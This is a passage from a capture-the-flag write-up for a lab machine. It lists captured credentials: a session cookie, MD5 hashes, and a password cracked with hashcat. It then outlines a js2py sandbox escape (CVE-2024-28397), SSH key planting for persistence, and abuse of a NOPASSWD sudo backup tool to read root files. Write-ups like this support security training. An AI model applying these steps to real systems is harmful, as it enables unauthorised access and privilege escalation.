/run_code. Hash:e4a25f7b052442a076b02ee9a1818d2e.
- Obtained by: Metasploit
- Flask session cookie
- Obtained by: Observed in HTTP traffic after logging in as
test. - Observed value:
session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co. - First used:
GET /dashboardandPOST /run_code.
- Obtained by: Observed in HTTP traffic after logging in as
- OS
marco/sweetangelbabylove- Obtained by: The hash
649c9d65a206a75f5abe509fe128bce5in/home/app/app/instance/users.dbwas identified as MD5. A dictionary attack withhashcat -m 0androckyou.txtis shown as a reproduction step. No cracking log remains; successfulsuconfirmed the plaintext password. - Account: Login user with
uid=1000. - First used:
su - marcofrom theappshell. - Access enabled: Reading
/home/marco/user.txt, NOPASSWDnpbackup-cli, and SSH.
- Obtained by: The hash
- Hash for web user
app:a97588c0e2fa3a024876339e27aeb42e- Obtained by: The same
users.db. - Use: Not used on this path.
- Obtained by: The same
- user flag
- Path:
/home/marco/user.txt - Value:
[REDACTED] - Obtained by:
cat user.txtasmarco; permissions were-rw-r----- 1 root marco.
- Path:
- root flag
- Path:
/root/root.txt - Value:
[REDACTED] - Obtained by:
sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt.
- Path:
- Public key (attacking machine’s ed25519 key)
- Created with:
ssh-keygen -t ed25519 -f ./codeparttwo(no log of running the key-generation command). ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC- Change: Written to
/home/marco/.ssh/authorized_keys. - First used:
ssh -i ./codeparttwo marco@codeparttwo.htb.
- Created with:
Required Knowledge
Section titled “Required Knowledge”- Configuring Firefox’s manual HTTP proxy and checking requests and responses in the Freja TUI.
- Reading pinned versions from the public application ZIP’s
requirements.txtand comparing them with known CVEs. - Escaping the js2py 0.74 sandbox (CVE-2024-28397), reaching
subprocess.Popenfrom an empty object’s__getattribute__. - When adapting an existing Metasploit module to an authenticated JSON API, matching
HttpClientkeep_cookies, registration and login timing, andAutoChecksuccess tests to the endpoint’s response. - Dumping SQLite credentials, identifying 32-character hashes, and using
hashcat -m 0; a hash of a password you chose can identify the algorithm. - Testing whether a recovered plaintext password is reused between web and OS accounts.
- With a NOPASSWD binary whose arguments are unrestricted in
sudo -l, configuration files and subcommands are also part of the attack surface. - If a backup tool running as root accepts a writable configuration, adding a backup source can make it readable through
--dump. A snapshot may remain even when the final status iserrors.
Final Thought
Section titled “Final Thought”On this box, js2py==0.74 in the distributed files and authenticated POST /run_code pointed to the first entry point to investigate. The same ZIP also contained app.py and users.db, but the record does not show their contents being inspected at that stage. After obtaining a distribution, its bundled files deserve inspection along with its dependencies. The adapted module’s check reported failure because it did not recognize HTTP 200 JSON as success. The result message alone was insufficient; the opened session and its user had to be checked.
The next clue was npbackup-cli, allowed without argument restrictions in sudo -l. The original repository details were preserved while /root/ was added to paths. After saving the backup, --ls confirmed it before --dump read the file. The simultaneous minimum-size error and saved snapshot also mattered. For similar boxes, examine a sudo-enabled command’s configuration, output features, and the state actually left behind.

